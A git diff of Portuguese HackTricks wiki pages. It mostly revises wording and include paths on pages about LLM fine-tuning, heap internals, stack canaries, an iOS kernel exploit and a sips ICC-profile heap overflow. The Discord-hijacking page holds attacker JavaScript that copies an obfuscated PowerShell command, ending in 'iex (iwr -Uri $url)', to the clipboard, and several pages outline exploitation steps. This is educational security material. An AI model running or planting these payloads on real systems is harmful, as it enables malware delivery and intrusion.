+Neste exemplo específico (prevendo se um texto é spam ou não), não estamos interessados em ajustar de acordo com o vocabulário completo do GPT2, mas queremos que o novo modelo diga se o e-mail é spam (1) ou não (0). Portanto, vamos **modificar a camada final que** fornece as probabilidades por token do vocabulário para uma que apenas fornece as probabilidades de ser spam ou não (como um vocabulário de 2 palavras).
 ```python
 # This code modified the final layer with a Linear one with 2 outs
 num_classes = 2
@@ -68,7 +68,7 @@ param.requires_grad = True
 
 Nas seções anteriores, o LLM foi treinado reduzindo a perda de cada token previsto, embora quase todos os tokens previstos estivessem na frase de entrada (apenas 1 no final foi realmente previsto) para que o modelo entendesse melhor a linguagem.
 
-Neste caso, só nos importa se o modelo é spam ou não, então só nos importa o último token previsto. Portanto, é necessário modificar nossas funções de perda de treinamento anteriores para levar em conta apenas esse token.
+Neste caso, só nos importa que o modelo seja capaz de prever se o modelo é spam ou não, então só nos importa o último token previsto. Portanto, é necessário modificar nossas funções de perda de treinamento anteriores para levar em conta apenas esse token.
 
 Isso é implementado em [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) como:
 ```python
@@ -111,4 +111,4 @@ Você pode encontrar todo o código para ajustar o GPT2 para ser um classificado
 
 - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md

@@ -1,6 +1,6 @@
 # 7.2. Ajuste Fino para Seguir Instruções
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
 
 > [!TIP]
 > O objetivo desta seção é mostrar como **ajustar finamente um modelo já pré-treinado para seguir instruções** em vez de apenas gerar texto, por exemplo, respondendo a tarefas como um chatbot.
@@ -9,7 +9,7 @@
 
 Para ajustar finamente um LLM para seguir instruções, é necessário ter um conjunto de dados com instruções e respostas para ajustar o LLM. Existem diferentes formatos para treinar um LLM a seguir instruções, por exemplo:
 
-- O estilo de prompt Apply Alpaca:
+- O exemplo de estilo de prompt Apply Alpaca:
 ```csharp
 Below is an instruction that describes a task. Write a response that appropriately completes the request.
 
@@ -91,7 +91,7 @@ Outros testes a serem realizados para verificar a qualidade das respostas:
 10. **Stanford Question Answering Dataset (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD consiste em perguntas sobre artigos da Wikipedia, onde os modelos devem compreender o texto para responder com precisão.
 11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** Um conjunto de dados em larga escala de perguntas e respostas de trivia, juntamente com documentos de evidência.
 
-e muitos outros
+e muitos mais
 
 ## Follow instructions fine-tuning code
 
@@ -101,4 +101,4 @@ Você pode encontrar um exemplo do código para realizar esse ajuste fino em [ht
 
 - [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/AI/AI-llm-architecture/README.md

@@ -1,6 +1,6 @@
 # LLM Training - Data Preparation
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
 
 **Estas são minhas anotações do livro muito recomendado** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **com algumas informações extras.**
 
@@ -15,7 +15,7 @@ Você deve começar lendo este post para alguns conceitos básicos que você dev
 ## 1. Tokenization
 
 > [!TIP]
-> O objetivo desta fase inicial é muito simples: **Dividir a entrada em tokens (ids) de uma forma que faça sentido**.
+> O objetivo desta fase inicial é muito simples: **Dividir a entrada em tokens (ids) de uma maneira que faça sentido**.
 
 {{#ref}}
 1.-tokenizing.md
@@ -36,7 +36,7 @@ Você deve começar lendo este post para alguns conceitos básicos que você dev
 > O objetivo desta terceira fase é muito simples: **Atribuir a cada um dos tokens anteriores no vocabulário um vetor das dimensões desejadas para treinar o modelo.** Cada palavra no vocabulário será um ponto em um espaço de X dimensões.\
 > Note que inicialmente a posição de cada palavra no espaço é apenas inicializada "aleatoriamente" e essas posições são parâmetros treináveis (serão melhorados durante o treinamento).
 >
-> Além disso, durante a incorporação de tokens **outra camada de incorporações é criada** que representa (neste caso) a **posição absoluta da palavra na sentença de treinamento**. Dessa forma, uma palavra em diferentes posições na sentença terá uma representação (significado) diferente.
+> Além disso, durante a incorporação de tokens **outra camada de incorporações é criada** que representa (neste caso) a **posição absoluta da palavra na sentença de treinamento**. Dessa forma, uma palavra em diferentes posições na sentença terá uma representação diferente (significado).
 
 {{#ref}}
 3.-token-embeddings.md
@@ -45,7 +45,7 @@ Você deve começar lendo este post para alguns conceitos básicos que você dev
 ## 4. Attention Mechanisms
 
 > [!TIP]
-> O objetivo desta quarta fase é muito simples: **Aplicar alguns mecanismos de atenção**. Estes serão muitas **camadas repetidas** que vão **capturar a relação de uma palavra no vocabulário com seus vizinhos na sentença atual sendo usada para treinar o LLM**.\
+> O objetivo desta quarta fase é muito simples: **Aplicar alguns mecanismos de atenção**. Estas serão muitas **camadas repetidas** que vão **capturar a relação de uma palavra no vocabulário com seus vizinhos na sentença atual sendo usada para treinar o LLM**.\
 > Muitas camadas são usadas para isso, então muitos parâmetros treináveis estarão capturando essa informação.
 
 {{#ref}}
@@ -99,4 +99,4 @@ Você deve começar lendo este post para alguns conceitos básicos que você dev
 7.2.-fine-tuning-to-follow-instructions.md
 {{#endref}}
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/arbitrary-write-2-exec/README.md

@@ -1,3 +1,3 @@
 # Arbitrary Write 2 Exec
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md

@@ -16,21 +16,21 @@ if (i > numberOfInputChannels && buffer[i] != 0)
 buffer[i] = 0;
 }
 ```
-Apenas uma verificação `offsetToCLUT <= totalDataLength` é realizada. Ao definir `offsetToCLUT == tagDataSize`, o loop indexa até 16 bytes além do final de `buffer`, corrompendo os metadados da heap adjacente.
+Apenas uma verificação `offsetToCLUT <= totalDataLength` é realizada. Ao definir `offsetToCLUT == tagDataSize`, o loop indexa até 16 bytes além do final de `buffer`, corrompendo os metadados adjacentes do heap.
 
 ## Etapas de Exploração
 
 1. **Criar perfil `.icc` malicioso:**
 - Construa o cabeçalho ICC (128 bytes) com a assinatura `acsp` e uma única entrada de tag `lutAToBType` ou `lutBToAType`.
 - Na tabela de tags, defina `offsetToCLUT` igual ao `size` da tag (`tagDataSize`).
-- Coloque dados controlados pelo atacante imediatamente após o bloco de dados da tag para sobrescrever os metadados da heap.
+- Coloque dados controlados pelo atacante imediatamente após o bloco de dados da tag para sobrescrever os metadados do heap.
 2. **Acionar a análise:**
 
 ```bash
 sips --verifyColor malicious.icc
 ```
 
-3. **Corrompimento de metadados da heap:** As gravações zero fora da faixa sobrescrevem os metadados do alocador ou ponteiros adjacentes, permitindo que o atacante se aproprie do fluxo de controle e consiga execução arbitrária de código no contexto do processo `sips`.
+3. **Corrompimento de metadados do heap:** As gravações zero fora da faixa sobrescrevem os metadados do alocador ou ponteiros adjacentes, permitindo que o atacante se aproprie do fluxo de controle e consiga execução arbitrária de código no contexto do processo `sips`.
 
 ## Impacto
 
@@ -50,4 +50,4 @@ https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulner
 - Atualização de Segurança da Apple de Outubro de 2024 (patch enviando CVE-2024-44236)
 https://support.apple.com/en-us/121564
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/array-indexing.md

@@ -1,4 +1,4 @@
-# Indexação de Arrays
+# Indexação de Array
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -15,6 +15,6 @@ No entanto, você pode encontrar alguns **exemplos** interessantes:
 - [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
 - 64 bits, sem relro, canário, nx, sem pie. Há um off-by-one em um array na pilha que permite controlar um ponteiro concedendo WWW (ele escreve a soma de todos os números do array no endereço sobrescrito pelo off-by-one no array). A pilha é controlada, então o endereço GOT `exit` é sobrescrito com `pop rdi; ret`, e na pilha é adicionado o endereço para `main` (retornando para `main`). Uma cadeia ROP para vazar o endereço de put na GOT usando puts é usada (`exit` será chamado, então chamará `pop rdi; ret`, executando assim essa cadeia na pilha). Finalmente, uma nova cadeia ROP executando ret2lib é usada.
 - [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
-- 32 bits, sem relro, sem canário, nx, pie. Abusar de uma má indexação para vazar endereços de libc e heap da pilha. Abusar do buffer overflow para fazer um ret2lib chamando `system('/bin/sh')` (o endereço da heap é necessário para contornar uma verificação).
+- 32 bits, sem relro, sem canário, nx, pie. Abusar de uma indexação ruim para vazar endereços de libc e heap da pilha. Abusar do buffer overflow para fazer um ret2lib chamando `system('/bin/sh')` (o endereço da heap é necessário para contornar uma verificação).
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}

src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md

@@ -14,7 +14,7 @@
 
 A melhor maneira de contornar um canário simples é se o binário for um programa **que cria processos filhos toda vez que você estabelece uma nova conexão** com ele (serviço de rede), porque toda vez que você se conecta a ele **o mesmo canário será usado**.
 
-Então, a melhor maneira de contornar o canário é apenas **forçá-lo caractere por caractere**, e você pode descobrir se o byte do canário adivinhado estava correto verificando se o programa travou ou continua seu fluxo regular. Neste exemplo, a função **força um canário de 8 Bytes (x64)** e distingue entre um byte adivinhado corretamente e um byte ruim apenas **verificando** se uma **resposta** é enviada de volta pelo servidor (outra maneira em **outra situação** poderia ser usando um **try/except**):
+Então, a melhor maneira de contornar o canário é apenas **forçá-lo brute-force caractere por caractere**, e você pode descobrir se o byte do canário adivinhado estava correto verificando se o programa travou ou continua seu fluxo regular. Neste exemplo, a função **força um canário de 8 Bytes (x64)** e distingue entre um byte adivinhado corretamente e um byte ruim apenas **verificando** se uma **resposta** é enviada de volta pelo servidor (outra maneira em **outra situação** poderia ser usando um **try/except**):
 
 ### Exemplo 1
 
@@ -103,10 +103,10 @@ log.info(f"The canary is: {canary}")
 ```
 ## Threads
 
-Threads do mesmo processo também **compartilharão o mesmo token canário**, portanto será possível **forçar um canário** se o binário gerar uma nova thread toda vez que um ataque acontecer.
+Threads do mesmo processo também **compartilharão o mesmo token canário**, portanto será possível **forçar um canário** se o binário criar uma nova thread toda vez que um ataque acontecer.
 
-Além disso, um **overflow de buffer em uma função com threads** protegida com canário poderia ser usado para **modificar o canário mestre armazenado no TLS**. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS está armazenado (e, portanto, o canário) via um **bof na pilha** de uma thread.\
-Como resultado, a mitigação é inútil porque a verificação é usada com dois canários que são os mesmos (embora modificados).\
+Além disso, um **overflow de buffer em uma função com threads** protegida com canário poderia ser usado para **modificar o canário mestre armazenado no TLS**. Isso ocorre porque pode ser possível alcançar a posição de memória onde o TLS está armazenado (e, portanto, o canário) através de um **bof na pilha** de uma thread.\
+Como resultado, a mitigação é inútil porque a verificação é feita com dois canários que são os mesmos (embora modificados).\
 Esse ataque é realizado na descrição: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
 
 Confira também a apresentação de [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) que menciona que geralmente o **TLS** é armazenado por **`mmap`** e quando uma **pilha** de **thread** é criada, ela também é gerada por `mmap`, de acordo com isso, o que pode permitir o overflow como mostrado na descrição anterior.
@@ -114,9 +114,9 @@ Confira também a apresentação de [https://www.slideshare.net/codeblue_jp/mast
 ## Other examples & references
 
 - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
-- 64 bits, no PIE, nx, BF canary, escreva em alguma memória um ROP para chamar `execve` e pule para lá.
+- 64 bits, no PIE, nx, BF canary, escreva em alguma memória um ROP para chamar `execve` e pular lá.
 
 
 
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}

src/binary-exploitation/ios-exploiting.md

@@ -1,10 +1,10 @@
 # iOS Exploiting
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}
 
 ## Uso físico após liberação
 
-Este é um resumo do post de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), além de mais informações sobre a exploração usando esta técnica podem ser encontradas em [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
+Este é um resumo do post de [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), além disso, mais informações sobre a exploração usando esta técnica podem ser encontradas em [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
 
 ### Gerenciamento de memória no XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
 
@@ -47,7 +47,7 @@ Vamos supor que você tente acessar o endereço virtual **0x1000000000**:
 Se você escrever o endereço físico **0x800004000** no primeiro índice da tabela L2, então:
 
 * Endereços virtuais de **0x1000000000** a **0x1002000000** mapeiam para endereços físicos de **0x800004000** a **0x802004000**.
-* Isso é um **mapeamento de bloco** no nível L2.
+* Este é um **mapeamento de bloco** no nível L2.
 
 Alternativamente, se a entrada L2 apontar para uma tabela L3:
 
@@ -204,4 +204,4 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
 
 Com esses primitivos, o exploit fornece **leituras de 32 bits** e **escritas de 64 bits** na memória do kernel. Passos adicionais de jailbreak podem envolver primitivos de leitura/escrita mais estáveis, que podem exigir a superação de proteções adicionais (por exemplo, PPL em dispositivos arm64e mais novos).
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}

src/binary-exploitation/libc-heap/README.md

@@ -1,10 +1,10 @@
 # Libc Heap
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}
 
 ## Heap Basics
 
-O heap é basicamente o lugar onde um programa poderá armazenar dados quando solicita dados chamando funções como **`malloc`**, `calloc`... Além disso, quando essa memória não é mais necessária, ela é disponibilizada chamando a função **`free`**.
+O heap é basicamente o lugar onde um programa pode armazenar dados quando solicita dados chamando funções como **`malloc`**, `calloc`... Além disso, quando essa memória não é mais necessária, ela é disponibilizada chamando a função **`free`**.
 
 Como mostrado, é logo após onde o binário está sendo carregado na memória (ver a seção `[heap]`):
 
@@ -12,15 +12,15 @@ Como mostrado, é logo após onde o binário está sendo carregado na memória (
 
 ### Basic Chunk Allocation
 
-Quando alguns dados são solicitados para serem armazenados no heap, um espaço do heap é alocado para isso. Esse espaço pertencerá a um bin e apenas os dados solicitados + o espaço dos cabeçalhos do bin + o deslocamento do tamanho mínimo do bin serão reservados para o chunk. O objetivo é reservar a menor quantidade de memória possível sem complicar a localização de onde cada chunk está. Para isso, as informações de metadados do chunk são usadas para saber onde cada chunk usado/livre está.
+Quando alguns dados são solicitados para serem armazenados no heap, um espaço do heap é alocado para isso. Esse espaço pertencerá a um bin e apenas os dados solicitados + o espaço dos cabeçalhos do bin + o deslocamento do tamanho mínimo do bin serão reservados para o chunk. O objetivo é reservar a menor quantidade de memória possível sem complicar a localização de onde cada chunk está. Para isso, as informações de chunk de metadados são usadas para saber onde cada chunk usado/livre está.
 
-Existem diferentes maneiras de reservar o espaço, dependendo principalmente do bin utilizado, mas uma metodologia geral é a seguinte:
+Existem diferentes maneiras de reservar o espaço, dependendo do bin utilizado, mas uma metodologia geral é a seguinte:
 
 - O programa começa solicitando uma certa quantidade de memória.
 - Se na lista de chunks houver um disponível grande o suficiente para atender à solicitação, ele será usado.
 - Isso pode até significar que parte do chunk disponível será usada para essa solicitação e o restante será adicionado à lista de chunks.
 - Se não houver nenhum chunk disponível na lista, mas ainda houver espaço na memória heap alocada, o gerenciador de heap cria um novo chunk.
-- Se não houver espaço suficiente no heap para alocar o novo chunk, o gerenciador de heap solicita ao kernel que expanda a memória alocada para o heap e, em seguida, usa essa memória para gerar o novo chunk.
+- Se não houver espaço de heap suficiente para alocar o novo chunk, o gerenciador de heap solicita ao kernel que expanda a memória alocada para o heap e, em seguida, usa essa memória para gerar o novo chunk.
 - Se tudo falhar, `malloc` retorna nulo.
 
 Observe que se a **memória solicitada ultrapassar um limite**, **`mmap`** será usado para mapear a memória solicitada.
@@ -29,7 +29,7 @@ Observe que se a **memória solicitada ultrapassar um limite**, **`mmap`** será
 
 Em aplicações **multithreaded**, o gerenciador de heap deve prevenir **condições de corrida** que poderiam levar a falhas. Inicialmente, isso era feito usando um **mutex global** para garantir que apenas um thread pudesse acessar o heap por vez, mas isso causou **problemas de desempenho** devido ao gargalo induzido pelo mutex.
 
-Para resolver isso, o alocador de heap ptmalloc2 introduziu "arenas", onde **cada arena** atua como um **heap separado** com suas **próprias** estruturas de **dados** e **mutex**, permitindo que múltiplos threads realizem operações no heap sem interferir uns nos outros, desde que usem arenas diferentes.
+Para resolver isso, o alocador de heap ptmalloc2 introduziu "arenas", onde **cada arena** atua como um **heap separado** com suas **próprias** estruturas de **dados** e **mutex**, permitindo que múltiplos threads realizem operações de heap sem interferir uns nos outros, desde que usem arenas diferentes.
 
 A arena "principal" padrão lida com operações de heap para aplicações de thread único. Quando **novos threads** são adicionados, o gerenciador de heap os atribui **arenas secundárias** para reduzir a contenção. Ele tenta primeiro anexar cada novo thread a uma arena não utilizada, criando novas se necessário, até um limite de 2 vezes o número de núcleos de CPU para sistemas de 32 bits e 8 vezes para sistemas de 64 bits. Uma vez que o limite é alcançado, **os threads devem compartilhar arenas**, levando a uma potencial contenção.
 
@@ -37,18 +37,18 @@ Diferente da arena principal, que se expande usando a chamada de sistema `brk`,
 
 ### Subheaps
 
-Subheaps servem como reservas de memória para arenas secundárias em aplicações multithreaded, permitindo que elas cresçam e gerenciem suas próprias regiões de heap separadamente do heap principal. Veja como os subheaps diferem do heap inicial e como operam:
+Subheaps servem como reservas de memória para arenas secundárias em aplicações multithreaded, permitindo que elas cresçam e gerenciem suas próprias regiões de heap separadamente do heap principal. Aqui está como os subheaps diferem do heap inicial e como operam:
 
 1. **Heap Inicial vs. Subheaps**:
 - O heap inicial está localizado diretamente após o binário do programa na memória e se expande usando a chamada de sistema `sbrk`.
 - Subheaps, usados por arenas secundárias, são criados através de `mmap`, uma chamada de sistema que mapeia uma região de memória especificada.
 2. **Reserva de Memória com `mmap`**:
-- Quando o gerenciador de heap cria um subheap, ele reserva um grande bloco de memória através de `mmap`. Essa reserva não aloca memória imediatamente; ela simplesmente designa uma região que outros processos ou alocações do sistema não devem usar.
+- Quando o gerenciador de heap cria um subheap, ele reserva um grande bloco de memória através de `mmap`. Essa reserva não aloca memória imediatamente; ela simplesmente designa uma região que outros processos do sistema ou alocações não devem usar.
 - Por padrão, o tamanho reservado para um subheap é de 1 MB para processos de 32 bits e 64 MB para processos de 64 bits.
 3. **Expansão Gradual com `mprotect`**:
 - A região de memória reservada é inicialmente marcada como `PROT_NONE`, indicando que o kernel não precisa alocar memória física para esse espaço ainda.
 - Para "crescer" o subheap, o gerenciador de heap usa `mprotect` para mudar as permissões de página de `PROT_NONE` para `PROT_READ | PROT_WRITE`, solicitando ao kernel que aloque memória física para os endereços previamente reservados. Essa abordagem passo a passo permite que o subheap se expanda conforme necessário.
-- Uma vez que todo o subheap é esgotado, o gerenciador de heap cria um novo subheap para continuar a alocação.
+- Uma vez que todo o subheap esteja esgotado, o gerenciador de heap cria um novo subheap para continuar a alocação.
 
 ### heap_info <a href="#heap_info" id="heap_info"></a>
 
@@ -74,7 +74,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
 
 **Cada heap** (arena principal ou outras arenas de threads) tem uma **estrutura `malloc_state`.**\
 É importante notar que a **estrutura `malloc_state` da arena principal** é uma **variável global na libc** (portanto localizada no espaço de memória da libc).\
-No caso das estruturas **`malloc_state`** dos heaps das threads, elas estão localizadas **dentro do "heap" da própria thread**.
+No caso das **estruturas `malloc_state`** dos heaps das threads, elas estão localizadas **dentro do "heap" da própria thread**.
 
 Há algumas coisas interessantes a notar sobre esta estrutura (veja o código C abaixo):
 
@@ -159,7 +159,7 @@ struct malloc_chunk* bk_nextsize;
 
 typedef struct malloc_chunk* mchunkptr;
 ```
-Como comentado anteriormente, esses chunks também têm alguns metadados, muito bem representados nesta imagem:
+Como comentado anteriormente, esses chunks também possuem alguns metadados, muito bem representados nesta imagem:
 
 <figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
 
@@ -261,7 +261,7 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
 return request2size (req);
 }
 ```
-Observe que, para calcular o espaço total necessário, o `SIZE_SZ` é adicionado apenas 1 vez porque o campo `prev_size` pode ser usado para armazenar dados, portanto, apenas o cabeçalho inicial é necessário.
+Note que, para calcular o espaço total necessário, `SIZE_SZ` é adicionado apenas 1 vez porque o campo `prev_size` pode ser usado para armazenar dados, portanto, apenas o cabeçalho inicial é necessário.
 
 ### Obter dados do Chunk e alterar metadados
 
@@ -354,7 +354,7 @@ people extending or adapting this malloc.
 #define clear_inuse_bit_at_offset(p, s)					      \
 (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
 ```
-- Defina cabeçalho e rodapé (quando números de bloco estão em uso)
+- Defina cabeçalho e rodapé (quando números de chunk estão em uso)
 ```c
 /* Set size at head, without disturbing its use bit */
 #define set_head_size(p, s)  ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@@ -485,7 +485,7 @@ e dentro dela alguns chunks podem ser encontrados:
 
 ## Bins & Alocações/Liberções de Memória
 
-Verifique quais são os bins e como eles estão organizados e como a memória é alocada e liberada em:
+Verifique quais são os bins e como estão organizados e como a memória é alocada e liberada em:
 
 {{#ref}}
 bins-and-memory-allocations.md
@@ -505,4 +505,4 @@ heap-memory-functions/heap-functions-security-checks.md
 - [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
 
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/binary-exploitation/libc-heap/use-after-free/first-fit.md

@@ -8,7 +8,7 @@ Quando você libera memória em um programa usando glibc, diferentes "bins" são
 
 ### Bins Não Ordenados
 
-Quando você libera um bloco de memória que não é um bloco rápido, ele vai para o bin não ordenado. Este bin atua como uma lista onde novos blocos liberados são adicionados à frente (a "cabeça"). Quando você solicita um novo bloco de memória, o alocador olha para o bin não ordenado de trás para frente (a "cauda") para encontrar um bloco que seja grande o suficiente. Se um bloco do bin não ordenado for maior do que o que você precisa, ele é dividido, com a parte da frente sendo retornada e a parte restante permanecendo no bin.
+Quando você libera um bloco de memória que não é um bloco rápido, ele vai para o bin não ordenado. Este bin atua como uma lista onde novos blocos liberados são adicionados à frente (o "cabeça"). Quando você solicita um novo bloco de memória, o alocador olha para o bin não ordenado a partir de trás (o "cauda") para encontrar um bloco que seja grande o suficiente. Se um bloco do bin não ordenado for maior do que o que você precisa, ele é dividido, com a parte da frente sendo retornada e a parte restante permanecendo no bin.
 
 Exemplo:
 
@@ -24,7 +24,7 @@ char *c = malloc(250);
 ```
 ### Fastbins
 
-Fastbins são usados para pequenos pedaços de memória. Ao contrário dos unsorted bins, fastbins adicionam novos pedaços ao início, criando um comportamento de último a entrar, primeiro a sair (LIFO). Se você solicitar um pequeno pedaço de memória, o alocador irá retirar do início do fastbin.
+Fastbins são usados para pequenos pedaços de memória. Ao contrário dos bins não ordenados, fastbins adicionam novos pedaços ao início, criando um comportamento de último a entrar, primeiro a sair (LIFO). Se você solicitar um pequeno pedaço de memória, o alocador irá retirar do início do fastbin.
 
 Exemplo:
 
@@ -49,14 +49,14 @@ d = malloc(20);   // a
 
 - [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit)
 - [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
-- ARM64. Use after free: Gere um objeto de usuário, libere-o, gere um objeto que receba o pedaço liberado e permita escrever nele, **sobrescrevendo a posição de user->password** do anterior. Reutilize o usuário para **contornar a verificação de senha**
+- ARM64. Use after free: Gere um objeto de usuário, libere-o, gere um objeto que obtenha o pedaço liberado e permita escrever nele, **sobrescrevendo a posição de user->password** do anterior. Reutilize o usuário para **contornar a verificação de senha**
 - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
 - O programa permite criar notas. Uma nota terá as informações da nota em um malloc(8) (com um ponteiro para uma função que pode ser chamada) e um ponteiro para outro malloc(\<size>) com o conteúdo da nota.
 - O ataque seria criar 2 notas (note0 e note1) com conteúdos malloc maiores do que o tamanho das informações da nota e, em seguida, liberá-las para que entrem no fast bin (ou tcache).
-- Em seguida, crie outra nota (note2) com tamanho de conteúdo 8. O conteúdo vai estar em note1, pois o pedaço será reutilizado, onde poderíamos modificar o ponteiro da função para apontar para a função win e então Use-After-Free a note1 para chamar o novo ponteiro da função.
+- Em seguida, crie outra nota (note2) com tamanho de conteúdo 8. O conteúdo vai estar na note1, pois o pedaço será reutilizado, onde poderíamos modificar o ponteiro da função para apontar para a função win e então Use-After-Free a note1 para chamar o novo ponteiro da função.
 - [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
-- É possível alocar alguma memória, escrever o valor desejado, liberá-la, realocá-la e, como os dados anteriores ainda estão lá, serão tratados de acordo com a nova estrutura esperada no pedaço, tornando possível definir o valor para obter a flag.
+- É possível alocar alguma memória, escrever o valor desejado, liberá-la, realocá-la e, como os dados anteriores ainda estão lá, serão tratados de acordo com a nova estrutura esperada no pedaço, tornando possível definir o valor ou obter a flag.
 - [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
-- Neste caso, é necessário escrever 4 dentro de um pedaço específico que é o primeiro a ser alocado (mesmo após forçar a liberação de todos eles). Em cada novo pedaço alocado, seu número no índice do array é armazenado. Em seguida, aloque 4 pedaços (+ o inicialmente alocado), o último terá 4 dentro dele, libere-os e force a realocação do primeiro, que usará o último pedaço liberado, que é o que tem 4 dentro dele.
+- Neste caso, é necessário escrever 4 dentro de um pedaço específico que é o primeiro a ser alocado (mesmo após forçar a liberação de todos eles). Em cada novo pedaço alocado, seu número no índice do array é armazenado. Então, aloque 4 pedaços (+ o inicialmente alocado), o último terá 4 dentro dele, libere-os e force a realocação do primeiro, que usará o último pedaço liberado, que é o que contém 4 dentro dele.
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/phishing-methodology/discord-invite-hijacking.md

@@ -44,7 +44,7 @@ const cmd = `powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9
 `iex (iwr -Uri $url)"`;
 navigator.clipboard.writeText(cmd);
 ```
-Essa abordagem evita downloads diretos de arquivos e aproveita elementos de UI familiares para reduzir a suspeita do usuário.
+Esta abordagem evita downloads diretos de arquivos e aproveita elementos de interface familiar para reduzir a suspeita do usuário.
 
 ## Mitigações
 
@@ -58,4 +58,4 @@ Essa abordagem evita downloads diretos de arquivos e aproveita elementos de UI f
 - From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
 - Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../../banners/hacktricks-training.md}}

src/generic-methodologies-and-resources/threat-modeling.md

@@ -1,6 +1,6 @@
 # Modelagem de Ameaças
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}
 
 ## Modelagem de Ameaças
 
@@ -11,9 +11,9 @@ Bem-vindo ao guia abrangente da HackTricks sobre Modelagem de Ameaças! Embarque
 1. **Desenvolvimento de Software**: Como parte do Ciclo de Vida de Desenvolvimento de Software Seguro (SSDLC), a modelagem de ameaças ajuda na **identificação de fontes potenciais de vulnerabilidades** nas fases iniciais de desenvolvimento.
 2. **Teste de Penetração**: O padrão de execução de teste de penetração (PTES) exige **modelagem de ameaças para entender as vulnerabilidades do sistema** antes de realizar o teste.
 
-### Modelo de Ameaça em Resumo
+### Modelo de Ameaças em Resumo
 
